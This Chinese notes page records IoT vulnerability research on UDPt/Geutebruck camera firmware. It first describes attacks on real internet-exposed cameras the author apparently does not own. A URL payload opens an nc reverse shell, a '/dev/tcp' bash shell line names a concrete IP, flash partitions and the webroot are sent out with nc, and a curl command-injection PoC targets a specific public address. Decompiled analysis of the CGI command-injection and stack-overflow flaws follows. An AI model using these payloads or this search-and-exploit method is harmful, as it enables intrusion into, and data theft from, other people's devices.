💻
Notes-CS
  • INTRO
  • 操作系统
    • 操作系统原理
      • 操作系统概述
        • 操作系统的分类
          • 批处理操作系统
          • 分时操作系统
          • 实时操作系统
          • 个人计算机操作系统
          • 网络操作系统
          • 分布式操作系统
          • 嵌入式操作系统
        • 操作系统的运行环境与机制
          • 中断与异常
          • 系统调用
      • 进程与线程
        • 进程
        • 线程
        • 协程
      • 处理器调度
      • 同步机制
      • 存储模型
      • 文件系统
        • 分区类型
      • 输入输出系统
    • 通用操作系统
      • GNU/Linux
        • Linux 内核
          • Linux 启动过程
          • 几种内核映像的区别
          • 终端设备
          • Ptrace
        • 可执行文件 ELF
        • 文件系统
          • swap
          • Linux 文件系统目录描述
          • 特殊文件
        • 软件生态
          • 基于 Linux 的 OS
            • Arch Linux
            • CentOS
            • Debian
            • Fedora
            • Gentoo
            • Kali
            • OpenSUSE
            • OpenWRT
            • Ubuntu
          • 桌面环境
            • KDE
            • GNOME
            • Xfce
            • DDE
            • Unity
            • MATE
          • 包管理器
            • apt
              • apt install
            • yum
            • pacman
        • Utils
          • dd
          • motd
          • 系统状态分析工具
          • TTY和PTS
          • SysVInit 与 SystemD
          • Linux 系统参考手册
          • 文本IO处理
            • awk
            • sed
            • cut
            • grep
            • xargs
            • diff & patch
      • MacOS
        • Darwin 内核
        • 快捷键
      • Windows
        • NT 内核
        • 可执行文件 PE
        • 文件系统组织
        • 发行版本
          • 古董
            • Windows 3.1
            • Windows 95
            • Windows 98
            • Windows 2000
            • Windows me
            • Windows Vista
            • Windows 8
          • Windows XP
          • Windows 7
          • Windows 10
            • 常用快捷键
      • Android
        • 系统结构
        • 软件包格式 APK
        • 版本历史
    • 通用系统概念
      • ANSI转义序列
        • 终端颜色控制符
      • POSIX
      • 虚拟化
        • 常见虚拟化OS镜像格式
      • Secure Boot
      • 常见文件系统
        • NTFS
        • FAT
        • JFFS
        • tmpfs
  • 编程
    • 编程语言
      • C
        • 语法
          • const
          • typedef
        • 库
          • C standard library(libc)
            • glibc
              • ptrace
          • C POSIX library
            • pthread
        • GNU C
        • 其它
          • 链接库的构成
          • 头文件规范
          • 动态链接库
      • C++
        • 语法
        • 库
          • SL/STL
            • 容器
              • vector
              • string
              • unordered_map
            • 迭代器
            • 其它
              • man page 解决方案
        • 面向对象
          • 重写与重载
            • 运算符重载
      • Python
        • 语法
        • 包
          • 内建
          • 第三方
            • requests
        • 其它
          • PyPI 的使用
          • 内建模块
      • Rust
        • 入门实例
      • Java
      • shell
        • set
    • 数据结构与算法
      • 数据结构
        • 栈
        • 队列
        • 链表
        • 哈希表
        • 并查集
        • 堆
        • 树
          • 二叉树
        • 图
      • 算法
        • 算法基础
          • 枚举
          • 模拟
          • 递归 & 分治
          • 贪心
          • 排序
        • 搜索
        • 动态规划
        • 字符串
        • 数学
          • 快速幂
        • 图论
    • 编译原理
      • 编译器与解释器
      • 词法分析
      • 语法分析
      • 类型检查
      • 中间代码生成
      • 目标代码生成
      • 代码优化
    • 软件工程
      • 编程范式
        • 指令式
          • 过程式
          • 块结构
          • 结构化
          • 非结构化
          • 递归
          • 模块化
        • 面向对象
          • 基于类
          • 基于原型
        • 声明式
          • 函数式
            • 纯函数式
            • 函数响应
        • 多态
          • 多分派
          • 泛型
            • 模板
        • 元编程
          • 宏
          • 元类
          • 反射式
      • 开发方法
        • 敏捷开发
        • 过程模型
          • 瀑布模型
          • V 模型
          • 增量模型
          • 螺旋模型
      • 开发流程
        • 问题定义
        • 可行性研究
        • 需求分析
        • 概要设计
        • 详细设计
        • 编码与测试
        • 运行与维护
      • 开源软件
        • 版本后缀规则
        • 开源协议
          • GPL
          • LGPL
          • MIT
          • BSD
          • Apache
          • Mozilla
  • 信息安全
    • 信息安全原理
      • IoT
        • 交叉编译
        • 固件格式
        • 常见协议
          • UPnP
      • 二进制
        • 常见漏洞
          • Stack Overflow
          • Format String Bug
          • Integer Overflow
          • Double Free
          • Use After Free
          • Race Condition
        • 通用工具
          • IDA
          • ghidra
          • pwntools
          • binutils
          • GDB
          • 脚本工具
            • LibcSearcher
            • main_arena_offset
            • one_gadget
            • ROPgadget
        • 常用技术
          • 符号执行
            • 传统符号执行
            • 现代符号执行
          • 模糊测试
      • Web
        • 常见漏洞
          • SQLi - SQL injection
          • XSS - Cross Site Scripting
            • 基本原理
          • CSRF - Cross Site Request Forgery
          • SSRF - Server-Side Request Forgery
          • XXE - XML External Entity
            • 基本原理
        • 通用工具
          • Burp Suite
          • Wireshark
      • 密码学
        • 流密码
          • XOR
          • RC4
        • 分组密码
          • DES - Data Encryption Standard
          • AES - Advanced Encryption Standard
        • 公钥密码
          • RSA
            • 欧几里得算法
            • 扩展欧几里得算法
            • 中国剩余定理
            • 共模攻击
          • 椭圆曲线算法
        • 数字签名
        • 数据校验
          • CRC
      • 区块链
        • 以太坊
    • 信息安全实践
      • 环境准备
        • IOT
          • 固件获取
          • 固件打包与解包
          • QEMU 模拟
          • 交叉编译
          • 制作文件系统镜像
          • UART 调试
      • 漏洞挖掘
        • 漏洞概览
          • 漏洞编号与管理机构
        • 漏洞挖掘技术
          • 静态分析
          • 模糊测试
            • 工具与框架
              • AFL
          • 污点分析
          • 符号执行
            • 工具与框架
              • Angr
              • KLEE
              • S2E
      • 安全开发
      • 渗透测试
        • shell
        • 网络空间测绘系统
          • quake
          • shodan
        • 内网渗透
          • Linux 靶机
            • 信息搜集
            • 持久化
            • 痕迹清理
        • 工具与框架
          • Metasploit
    • 论文与演示
  • Web 与计算机网络
    • 协议栈
      • 链接层
        • PPP
        • ARP
        • MAC
      • 网络层
        • IP - Internet Protocol
          • IPv4
            • IPv4 分级式寻址
            • IPv4 私有地址划分
          • IPv6
        • ICMP - Internet Control Message Protocol
      • 传输层
        • TCP
        • UDP
        • TLS/SSL
      • 应用层
        • UPnP
        • HTTP
        • DNS
        • FTP
    • Web
      • 浏览器
        • Chrome
          • 内建功能
          • 快捷键
        • Tor
      • Web容器
        • Apache
        • Nginx
        • lighttpd
      • CGI
      • MIME type
      • 搜索引擎
  • 体系结构与硬件
    • 计算机体系结构
      • 指令集
        • X86
        • AMD64
        • ARM
        • RISC-V
        • MIPS
    • 设备与接口
      • 接口协议
        • UART
        • USB
        • HDMI
        • PCI
      • 存储设备
        • 固态硬盘
          • 闪存颗粒 ?LC
        • 识别 Linux上的设备(磁盘)类型
        • 字符设备与块设备
        • MTD
      • 网络设备
        • 路由器
        • 交换机
        • 网卡与虚拟网卡
        • 光接入网络
          • 光猫
  • 数学
    • 离散数学
    • 线性代数
    • 概率与统计
    • 计算理论
  • 软件与框架
    • 通用
      • bash
      • Vim
        • 配置
        • 快捷键
        • 插件
        • VIM Script
      • git
      • Tmux
      • gdb
      • ssh
      • make
      • 双拼
    • 专用
      • 🪜Untitled
        • clash
      • gcc
      • nmap
      • QEMU
        • QEMU source
        • 模拟 raw Linux
        • 模拟发行版
      • docker
      • buildroot
      • burpsuite
    • 轮子
      • LaTeX
      • LLVM
      • libpcap
  • reCTF
    • PWN
      • QEMU PWN
      • Kernel PWN
    • Web
    • Reverse
    • Crypto
    • MISC
  • 资源
    • 学习站
      • 安全学习站
        • 门户
        • 论坛
        • 教程
        • 会议
        • 博客
      • 编程学习站
        • 文档
    • 工具站
      • 安全工具站
        • 二进制
        • Web
        • IoT
        • 社工
      • 应用工具站
  • 实践记录
    • 事件
      • 对于 UDPt 漏洞的跟踪实践
    • 编译
      • alware 静态交叉编译
      • buildroot 编译 arm target
由 GitBook 提供支持
在本页
  • 背景
  • 固件获取
  • 官方下载
  • Search & Hack & Dump
  • 漏洞分析
  • Command injection
  • Stack Overflow
  • 漏洞实践 POC
  • CVE-2017-5173 ~ CVE-2017-5174
  • CVE-2018-7532 - CVE-2018-7528 - CVE-2018-7524 - CVE-2018-7520 - CVE-2018-7516 - CVE-2018-7512
  • CVE-2021-33543 ~ CVE-2021-33554
  1. 实践记录
  2. 事件

对于 UDPt 漏洞的跟踪实践

上一页事件下一页编译

最后更新于3年前

背景

事件的起源来自于这篇文章:

Randorisec 研究小组又一次在 Geutebruck 的摄像头固件中发掘出了大量漏洞。情况如下:

CGI

Short description

CVE

N/A

Authentication Bypass

CVE-2021-33543

certmngr.cgi

Command injection multiple parameters

CVE-2021-33544

countreport.cgi

Stack Buffer Overflow

CVE-2021-33545

encprofile.cgi

Stack Buffer Overflow

CVE-2021-33546

evnprofile.cgi

Stack Buffer Overflow

CVE-2021-33547

factory.cgi

Command injection in preserve parameter

CVE-2021-33548

instantrec.cgi

Stack Buffer Overflow

CVE-2021-33549

language.cgi

Command injection in date parameter

CVE-2021-33550

oem.cgi

Command injection in environment.lang parameter

CVE-2021-33551

simple_reclistjs.cgi

Command injection in date parameter

CVE-2021-33552

testcmd.cgi

Command injection in command parameter

CVE-2021-33553

tmpapp.cgi

Command injection in appfile.filename parameter

CVE-2021-33554

于是便就这这次事件,实践一下 IoT 利用一条龙,作为基础知识的补充。

固件获取

官方下载

UDP technology 公司为许多 IP 摄像机供应商提供固件,当然也包括了本次被审计的设备厂商 Geutebruck。

Randorisec 小组本次的目标是 UDPt 提供给 Geutebruck 的 IP Camera 的最新版本固件1.12.0.27。为了接下来的研究,我们首先需要搞到相应的固件。Randorisec 手中有真实设备,并由此获取到了固件,但我们只能另寻它路了。

在成功的注册与登陆之后,我们可以顺利获取到相应的固件文件:IPN_FW_V1.12.0.25.zip(md5sum: 3ab734d38f58bdf3080948c8caddb698)。解压之后得到 ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc 。这里就开始感觉不妙——文件是以 .enc 结尾的,这基本意味着固件是被加密的。还是先查看一下文件信息吧:

-rwxrw-rw-  1 dev2ero dev2ero  29M Jul 12 17:51 ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc

Lab$ file ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc 
ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc: data

Lab$ binwalk ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
……
13321807      0xCB464F        Zlib compressed data, default compression
13324093      0xCB4F3D        Zlib compressed data, default compression
13326658      0xCB5942        Zlib compressed data, default compression
13329325      0xCB63AD        Zlib compressed data, default compression
13331975      0xCB6E07        Zlib compressed data, default compression
13535768      0xCE8A18        Zlib compressed data, default compression
……

Lab$ binwalk -E ipn-V1.12.0.25-official-1.12.0-hotfix-4th.g7f9a091-build.27.enc
如下图

可以看到 binwalk 分析出其中包含了大量 Zlib 压缩文件格式。但实际上这只是因为分块加密导致 Zlib 压缩格式文件头对应的二进制值恰巧周期性出现。由熵图可以看出固件文件实际上几乎完全由均匀分布的数据组成,这是明显的被加密了的特征。

原本分析的初期思路上,刚迈开脚步就被阻塞在了这里。只得改换方案了。

Search & Hack & Dump

Search

获取特定固件的路径有很多,但最简单的方法已经不好用了。不过既然 Randorisec 告诉了我们这么多漏洞,不如直接使用它们对互联网上的真实设备进行 GetShell?

好!接下来就可以……

咦?我得到了一个搜索公网设备的搜索引擎输入框,不过我应该在这里输入什么?😅

诸如 Zoomeye 等网络空间测绘系统,所搜索的服务数据实际上是对应设备的特定端口返回的数据。那不妨先使用本次出场的厂商名 Geutebruck 作为关键词进行搜索。

嗯,的确返回了不少结果,大部分设备也位于德国,这和 Geutebruck 是主供德国的德国厂商这条信息也吻合。挑选其中一个访问一下:

得到的是一个 G-Web 的登陆界面。经 Google 后可以确认 G-Web 的确是 Geutebruck 的IP Camera 的访问界面。

遂使用 Geutebruck 提供的漏洞(具体的漏洞分析放在了文章后面)进行攻击——失败……

可能是该摄像头已升级固件修复了漏洞?在使用脚本批量对于一部分 G-Web 进行 PoC 验证后,无一成功。

——这就比较诡异了,原因也有待考察。不过就眼下来说,难道这条获取固件的路径也被堵上了吗?💢

不,我们还有使用了 UDPt 所提供的固件的其它厂商设备,这使得生机尚存。遂以同样的方式搜索暴露于互联网上的设备,但却收获甚寥。

这条 twitter 是关于此前 Randorisec 挖掘到的 UDPt 的更早的漏洞。评论区的老哥1给出了又一个网络空间测绘引擎 ONYPHE 中用到的查询语句:category:datascan device.productvendor:Geutebruck device.class:Camera。使用它我们可以精准定位到网络上的 Geutebruck 摄像头,而这条十分好用的查询语句的小缺点便是它用到了需要收费的高级搜索键。叒只得作罢。

好在老哥2给出了免费信息:

Nice ! And 3x more by searching for "/viewer/main.html" (to target other brands)

差点断掉的线索就这样续上了。使用"/viewer/main.html"作为搜索关键词,的确筛选出了大量其它厂商的 UDPt 固件设备。而这些设备的一个特征便是含有webroot/viewer/main.html文件。

Hack

直接跳转到了 http://24.xxx.xxx.x:82/viewer/main.html。且没有经过任何认证直接给了访问者画面

我们使用 Randorisec 提过的 Nday 历史漏洞进行攻击。对于其中的一个漏洞进行 RCE,构造 Payload 如下:

http://24.xxx.xxx.x:82/uapi-cgi/viewer/simple_loglistjs.cgi?action=get&timekey=1510589250832&1%7C=2&()%20%7b%20%3a%3b%7d%3b%20nc%20AA.AAA.AAA.AA:BBBB%20-e%20/bin/bash=1

其中的AA.AAA.AAA.AA:BBBB是我们的攻击机的 IP:port。该 payload 使得远程进行如下代码执行:nc AA.AAA.AAA.AA:BBBB -e /bin/bash。同时在攻击机上监听 BBBB 端口 nc -l BBBB。这样就在我们的攻击机上获取了一个该摄像头的shell。

附另一种 nc 反弹 shell:

nc -vvlp 3000
bash -i >& /dev/tcp/60.205.205.99/3000 0>&1

Dump

有了shell,下一步就是获取文件系统了。

我们要直接下载文件系统里的文件吗?否。Linux的哲学是“一切皆文件”,那么存放固件的存储设备自然也不例外。先看一下 /dev/ 下都有些啥:

ls /dev
MAKEDEV
audio
bus
cmem
console
core
csl0
csl1
csl2
csl3
csl4
csl5
csl6
csl7
csl8
csl9
dev_dma
dev_i2c
dm365_adc
dm365mmap
dm368
drv8834
dsp
edma
eeprom
fd
full
gpio_dm36x
i2c
imxXXX
irqk
kmem
kmsg
log
loop
mem
mixer
mtd0
mtd0ro
mtd1
mtd10
mtd10ro
mtd11
mtd11ro
mtd1ro
mtd2
mtd2ro
mtd3
mtd3ro
mtd4
mtd4ro
mtd5
mtd5ro
mtd6
mtd6ro
mtd7
mtd7ro
mtd8
mtd8ro
mtd9
mtd9ro
mtdblock0
mtdblock1
mtdblock10
mtdblock11
mtdblock2
mtdblock3
mtdblock4
mtdblock5
mtdblock6
mtdblock7
mtdblock8
mtdblock9
mtdpart
net
null
port
ppp
ptmx
pts
random
rd
rtc0
shm
snd
sndstat
sound
spidev0.0
spidev1.0
stderr
stdin
stdout
tts
tty
urandom
usbdev1.1_ep00
usbdev1.1_ep81
v4l
vc
vcc
video2
video3
watchdog
zero

可以注意到其中的 mtd* 设备文件。

MTD(memory technology device内存技术设备)是用于访问memory设备(ROM、flash)的Linux的子系统。 (/dev/mtd): MTD字符驱动程序允许直接访问flash器件,通常用来在flash上创建文件系统,也可以用来直接访问不频繁修改的数据。 (dev/mtdblock): MTD块设备驱动程序可以让flash器件伪装成块设备,实际上它通过把整块的erase block放到ram里面进行访问,然后再更新到flash,用户可以在这个块设备上创建通常的文件系统。

所以说,我们只要把所有的mtd中的数据dump下来,里面肯定有我们想要的东西。

使用 mounts 和 cat /proc/mtd 获取相应的设备信息如下:

mount
rootfs on / type rootfs (rw)
/dev/root on / type cramfs (ro)
proc on /proc type proc (rw)
sysfs on /sys type sysfs (rw)
tmpfs on /tmp type tmpfs (rw)
tmpfs on /var type tmpfs (rw)
usbfs on /proc/bus/usb type usbfs (rw)
/dev/root on /dev/.static/dev type cramfs (ro)
tmpfs on /dev type tmpfs (rw)
devpts on /dev/pts type devpts (rw)
/dev/mtdpart/database_block on /mnt/db type jffs2 (ro)
/dev/mtdpart/rwfs_block on /mnt/rwfs type jffs2 (rw,sync)
/dev/mtdpart/rwfs2_block on /mnt/rwfs2 type jffs2 (rw,sync)
/dev/mtdpart/userfs_block on /mnt/userfs type jffs2 (rw,sync)
tmpfs on /mnt/ramdisk type tmpfs (rw)
/dev/mtdpart/rfs_block on /tmp/rfs type jffs2 (rw)

cat /proc/mtd
dev:    size   erasesize  name
mtd0: 00300000 00020000 "bootloader"
mtd1: 00200000 00020000 "bootparams"
mtd2: 00200000 00020000 "dfkernel"
mtd3: 01000000 00020000 "dfrootfs"
mtd4: 00200000 00020000 "kernel"
mtd5: 02000000 00020000 "rootfs"
mtd6: 02000000 00020000 "userfs"
mtd7: 00800000 00020000 "database"
mtd8: 03c00000 00020000 "rwfs"
mtd9: 02800000 00020000 "rwfs2"
mtd10: 00100000 00020000 "rfs"
mtd11: 03a00000 00020000 "space"

我们将所有的 mtd* 设备文件下载下来,使用的依然是万能的 netcat:

# 攻击机
nc -l BBBB > mtdN
# 摄像头
nc AA.AAA.AAA.AA BBBB < /dev/mtdN

由 cat /proc/mtd 的输出我们可以看到 mtd5 对应的是 rootfs。

使用 binwalk 解压后,并没有找到 cgi 文件。发现 webroot 居然是 tmpfs 的 ramdisk。那就直接把 webroot 打包下载下来吧:

# 攻击机
nc -l BBBB | tar xfvz -
# 摄像头
cd webroot
tar cfz - * | nc AA.AAA.AAA.AA BBBB

最后拼凑出了文件系统样本,并得到了相应的 webroot 中包含的漏洞 cgi 文件。

漏洞分析

手中有了样本,不妨先来进行一波漏洞分析。

Command injection

certmngr.cgi

Command injection multiple parameters

依据交叉引用,定位到如下的 system 函数调用处:

int __fastcall sub_B7AC(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, int a9, int a10, const char *a11)
{
……
  snprintf(
    s,
    0x1000u,
    "/usr/bin/openssl req -config %s -new -subj \"/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s\" -key %s -out %s",
    "/usr/local/ssl/.openssl.cnf",
    a3,
    a4,
    a5,
    a6,
    a7,
    a8,
    "/usr/local/ssl/.cap.key",
    a11);
  system(s);
  return 0;
}

可以看到 system 函数的参数 s 是使用 snprintf 构建的。所构建的参数如下:

/usr/bin/openssl req -config /usr/local/ssl/.openssl.cnf -new -subj "/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s" -key /usr/local/ssl/.cap.key -out %s

这里使用字符串拼接来构造所要执行的命令——若我们能控制此时的格式化字符串参数,就可以命令注入得到RCE了。

所以继续回溯参数传递,发现有两条路径可以直达 main:

int __fastcall sub_BE98(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, int a9, int a10)
{
……
  sub_B7AC(v11, v12, v13, v14, a5, a6, a7, a8, a9, a10, "/mnt/rwfs/addon/ssl/requestcsr.pem");
……
}
​
int main() {
……
  if ( !strcasecmp(v4, "createcert") )
  {
    sub_BE98((int)v19, (int)v20, v21, v22, v23, v24, v25, v26, (int)v27, (int)v28);
    goto LABEL_3;
  }
……
}
int __fastcall sub_BF14(int a1, int a2, const char *a3, const char *a4, const char *a5, const char *a6, const char *a7, const char *a8, const char *a9, int a10)
{
……
  sub_B7AC(v11, v12, v13, v14, a5, a6, a7, a8, (int)a9, a10, "/mnt/rwfs/addon/ssl/csr.pem");
……
}
​
int main() {
……
  if ( !strcasecmp(v4, "createselfcert") )
  {
    sub_BF14((int)v19, (int)v20, v21, v22, v23, v24, v25, v26, v27, (int)v28);
LABEL_3:
    v9 = 0;
    goto LABEL_4;
  }
……
}

而在 main 中,这些参数的最终来源都是 url 中的可以被我们直接控制的请求参数:

  v3 = qCgiRequestParseQueries(0, 0);
  v4 = (char *)sub_A010(v3, "action");
  v19 = v4;
  v5 = (char *)sub_A010(v3, "group");
  v20 = v5;
  v12 = (char *)sub_A010(v3, "country");
  v21 = v12;
  v13 = (char *)sub_A010(v3, "state");
  v22 = v13;
  v14 = (char *)sub_A010(v3, "local");
  v23 = v14;
  v15 = (char *)sub_A010(v3, "organization");
  v24 = v15;
  ptr = (char *)sub_A010(v3, "organizationunit");
  v25 = ptr;
  v6 = (char *)sub_A010(v3, "commonname");
  v26 = v6;
  v7 = (char *)sub_A010(v3, "days");
  v27 = v7;
  v8 = (char *)sub_A010(v3, "type");
  v28 = v8;

多个用户可控的参数就构成了 RCE。

factory.cgi

Command injection in preserve parameter

依据交叉引用定位到 system 函数的调用处,发现全部存在于 main 函数中:

int main() {
……
    v11 = (const char *)(*(int (__fastcall **)(int, const char *, int))(v3 + 88))(v3, "preserve", 1);
    v16 = 0;
    memset(s, 0, sizeof(s));
    system("/etc/init.d/vca_daemon stop > /dev/null");
    system("echo factory.cgi >> /tmp/fsreset_reboot");
    if ( v11 )
    {
      *(&v15 + snprintf(&v15, 0x1FFu, "Run software factory default \n")) = 0;
      *(&v12 + snprintf(&v12, 0x1FFu, "%s", "factory.c")) = 0;
      v13[snprintf(v13, 0x1FFu, "%s", "main")] = 0;
      v14[snprintf(v14, 0x1FFu, "%d", 99)] = 0;
      APPLOG_Write(3, 0, &v12, v13, v14, &v15);
      snprintf(&v16, 0x80u, "/usr/sbin/fsreset %s > /dev/null", v11);
      system("/usr/bin/dbsync > /dev/null");
      system(&v16);
    }
    else
    {
      *(&v15 + snprintf(&v15, 0x1FFu, "Run Hardware factory default \n")) = 0;
      *(&v12 + snprintf(&v12, 0x1FFu, "%s", "factory.c")) = 0;
      v13[snprintf(v13, 0x1FFu, "%s", "main")] = 0;
      v14[snprintf(v14, 0x1FFu, "%d", 93)] = 0;
      APPLOG_Write(3, 0, &v12, v13, v14, &v15);
      system("/usr/bin/dbsync > /dev/null");
      system("/usr/sbin/fsreset > /dev/null");
    }
……
}

参数可控的位置只有 system(&v16) 处。回溯 v16 的来源,发现是来自于 preserve 参数。preserve 参数可控,故此处产生了一个命令注入。

language.cgi

Command injection in date parameter

由 popen 函数的交叉引用定位到漏洞点:

int main() {
……
  v25[0] = 0;
  memset(&v25[1], 0, 0x7Fu);
……
  pszDate = DEFINE_SearchParameter(v3, "date");
……
  snprintf(v25, 0x80u, "ls -1 /usr/www/language/*.xml");
  if ( pszDate )
  {
    strcat(v25, "-");
    strcat(v25, (const char *)pszDate);
    strcat(v25, "-*-*");
  }
  strcat(v25, " 2>  /dev/null | awk '{print \"\\\"\"$1\"\\\"$\"}'");
……
  v5 = popen(v25, "r");
……
}

经过命令拼接后,可见用户可控的 date 参数会在 v5 = popen(v25, "r"); 处造成命令注入。

oem.cgi

Command injection in environment.lang parameter

action 参数为空时,执行 RunSet 函数。RunSet 函数中,会将 environment.lang 参数的值拼接至/usr/sbin/xmlparam -f /usr/www/environment.xml -set web.lang= 后方构成完整命令并执行。这里就出现了命令注入。

int main() {
……
  v4 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v3 + 88))(v3, "action", 0);
  if ( !v4 )
    goto LABEL_13;
……
LABEL_13:
    RunSet(v3); 
……
}

int RunSet(int a1) {
……
  v14 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(a1 + 88))(a1, "environment.lang", 0);
  if ( v14 )
  {
    snprintf(&s, 0x100u, "/usr/sbin/xmlparam -f %s -set web.lang=\"%s\"", "/usr/www/environment.xml", v14);
    v15 = popen(&s, "r");
……
}

simple_reclistjs.cgi

Command injection in date parameter

date 参数中的,直接在 main 函数中出现的字符串拼接导致的命令注入:

int main() {
……
  v25[0] = 0;
  memset(&v25[1], 0, 0x7Fu);
……
  pszDate = DEFINE_SearchParameter(v3, "date");
……
  snprintf(v25, 0x80u, "ls -lhrt /mnt/mmc");
  if ( pszDate )
  {
    strcat(v25, " | grep -e -");
    strcat(v25, (const char *)pszDate);
    strcat(v25, "-");
  }
  strcat(v25, " | grep ");
  strcat(v25, ".avi");
  strcat(v25, " | awk '{print \"\\\"/mnt/mmc/\" $9 \"\\\", \\\"\" $5 \"\\\"$\"}'");
……
  v5 = popen(v25, "r");
……
}

testcmd.cgi

Command injection in command parameter

v1 的值由 command 参数传入,并在下方的 popen 处导致命令注入:

int sub_88E8() {
……
  v1 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v0 + 88))(v0, "command", 0);
  if ( v1 )
  {
……
    v4 = popen(v1, "r");
……
}

向上回溯一级可知,此处的 sub_88E8 函数实际上就是 main 函数:

void __noreturn start(void (*a1)(void), int a2, int a3, int a4, ...)
{
……
  _libc_start_main(
    (int (__fastcall *)(int, char **, char **))sub_88E8,
……
}

tmpapp.cgi

Command injection in appfile.filename parameter

此处 appfile.filename 参数传入后用于与 "/var/app/tmp_" 字符串拼接成为完整路径。并在两种不同的执行路径下分别被传入 RunPackage 或 StartApp 函数中:

int main() {
……
  v4 = (const char *)(*(int (__fastcall **)(int, const char *, _DWORD))(v3 + 88))(v3, "appfile.filename", 0);
……
  v13 = (char *)malloc(v12);
  snprintf(v13, v12, "%s/%s%s", "/var/app", "tmp_", v4);
……
    if ( !strncasecmp(".pkg", v9, 4u) )
    {
      RunPackage(v13, v15);
      goto LABEL_25;
    }
    if ( !strncasecmp("start", v5, 6u) )
    {
      StartApp(v13, v6, v15);
      goto LABEL_25;
    }
……
}

首先,在 RunPackage 函数中,access(v5, 0) && mkdir(v5, 0x1FFu) 为 0 则对上述完整路径进行 ExtractFile。在 ExtractFile 中则将路径名拼接至 tar xf %s -C %s &> /dev/null命令中。构成命令注入。

int __fastcall RunPackage(const char *a1, int a2)
{
……
  if ( access(v5, 0) && mkdir(v5, 0x1FFu) )
  {
    if ( v5 )
      free(v5);
    result = 1;
  }
  else
  {
    ExtractFile(a1, v5);
……
}
​
int __fastcall ExtractFile(const char *a1, const char *a2)
{
……
  snprintf(&s, 0x200u, "tar xf %s -C %s &> /dev/null", a1, a2);
  v5 = popen(&s, "r");
……
}

类似的,在 StartApp 函数中,路径名会在 snprintf 函数处被拼接导致命令注入:

int __fastcall StartApp(const char *a1, const char *a2, const char *a3)
{
……
  snprintf(
    &s,
    0x200u,
    "/sbin/start-stop-daemon --start --quiet --oknodo --background --pidfile %s -m --exec %s %s &> /dev/null",
    a3,
    a1,
    a2);
  v7 = popen(&s, "r");
……
}

Stack Overflow

instantrec.cgi

进入 main 函数后我们不难看到,对于 v11 和 v16 两个栈变量使用了不安全的字符串操作函数 strcat。同时向上回溯作为函数参数被写入栈上的 pszOption 和 pszAction 两个变量,发现其来自于用户可控的参数 option 和 action。由于 option 和 action 是可以自定义内容且长度不限的字符串,故此处出现栈溢出漏洞。

int __cdecl main(int argc, const char **argv, const char **envp)
{
……
  char v11[16]; // [sp+8h] [bp-828h] BYREF
……
  char v16[12]; // [sp+608h] [bp-228h] BYREF
……
  pszXML = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "xmlschema");
  pszAction = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "action");
  pszOption = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "option");
  pszTimeKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "timekey");
  pszTempKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "_");
  pszNoCmd = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "nocmd");
  pszAsync = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "async");
  pszDebug = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "debug");
……
  strcat(v16, ".");
  strcat(v16, (const char *)pszAction);
……
  if ( pszXML )
  {
    if ( v6 )
    {
……
      if ( pszOption )
      {
        strcat(v11, "|");
        strcat(v11, (const char *)pszOption);
        strcat(v11, "sec");
      }
      strcat(v11, "|");
      strcat(v11, v7);
……
}

encprofile.cgi

栈溢出漏洞,与上一例同理,只不过这次出现在 profile 参数上:

int __cdecl main(int argc, const char **argv, const char **envp)
{
……
  char s[512]; // [sp+14h] [bp-22Ch] BYREF
……
  pszTimeKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "timekey");
  pszTempKey = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "_");
  pszXML = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "xmlschema");
  pszSchema = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "schema");
  pszListformat = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "listformat");
  pszNoCmd = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "nocmd");
  pszAsync = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "async");
  v4 = (char *)DEFINE_SearchParameter((Q_ENTRY *)v3, "action");
  pszDebug = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, "debug");
  pszProfile = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, (const unsigned __int8 *)"profile");
  pszName = (int)DEFINE_SearchParameter((Q_ENTRY *)v3, (const unsigned __int8 *)"name");
……  
  if ( pszProfile )
  {
    strcat(s, ".");
    strcat(s, (const char *)pszProfile);
……
}

evnprofile.cgi

栈溢出漏洞,与上一例同理,这次依然出现在 profile 参数上:

int __cdecl main(int argc, const char **argv, const char **envp)
{
……
  char s[512]; // [sp+14h] [bp-22Ch] BYREF
……
  dword_1895C = sub_C78C(v9, "timekey");
  dword_1874C = sub_C78C(v9, "xmlschema");
  dword_18960 = sub_C78C(v9, "schema");
  dword_18964 = sub_C78C(v9, "listformat");
  dword_18958 = sub_C78C(v9, "nocmd");
  dword_18968 = sub_C78C(v9, "async");
  v14 = (char *)sub_C78C(v9, "action");
  dword_1896C = sub_C78C(v9, "debug");
  dword_18754 = sub_C78C(v9, "profile");
……  
  if ( dword_18754 )
  {
    strcat(s, ".");
    strcat(s, (const char *)dword_18754);
……
}

countreport.cgi

漏洞实践 POC

CVE-2017-5173 ~ CVE-2017-5174

▶ curl --socks5 127.0.0.1:7890 -v -d "type=ip&ip=eth0 1.1.1.1;pwd" -X POST http://24.185.116.6:82/uapi-cgi/viewer/testaction.cgi
failed
